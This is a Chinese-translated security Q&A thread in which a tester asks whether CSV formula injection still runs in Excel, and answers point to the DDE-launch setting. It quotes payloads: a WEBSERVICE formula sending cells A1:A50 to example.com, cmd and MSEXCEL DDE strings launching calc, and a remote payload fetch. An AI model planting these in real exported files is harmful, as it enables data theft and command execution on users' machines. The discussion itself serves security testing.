“=cmd” CSV 注入在 2020 年还存在吗?

信息安全 视窗 注射 办公室 擅长
2021-09-07 12:33:39

我目前正在测试一个用户可以在其上生成 CSV 的 Web 应用程序。我设法使用有效载荷通过 CSV 注入来泄露数据,例如:

=WEBSERVICE(CONCAT("http://example.com/", CONCAT(A1:A50))

我现在正在尝试创建一个“更危险”的有效负载,并且我在网上看到了很多参考资料,例如:

=cmd|' /C calc'!A0

但是,我找不到这样的有效负载触发器的方法,我总是得到一个#REF!错误。这种攻击在 2020 年还可行吗?或者微软是否针对这些攻击实施了缓解措施?

我正在为 Office 365 版本 1902 运行 Excel。

2个回答

终于找到payload没有执行的原因:Excel选项中禁用了DDE启动。

如果有人有同样的问题,这个设置可以在

File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch

参考https://docs.microsoft.com/en-us/office365/troubleshoot/security/security-settings

我还没有测试过这个,但有可能使用这个WEBSERVICE函数让它运行。根据微软的说法,您可以使用该功能更新单元格,然后结合此mimecast文章,您似乎可以使用此功能加载您的恶意“单元格代码”。

它看起来像这样:

=WEBSERVICE("http://example.com/payload.txt")

其中payload.txt包含:

=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!''

Payload 由PentestLab Blog提供,所以不确定它是否仍然以相同的方式执行。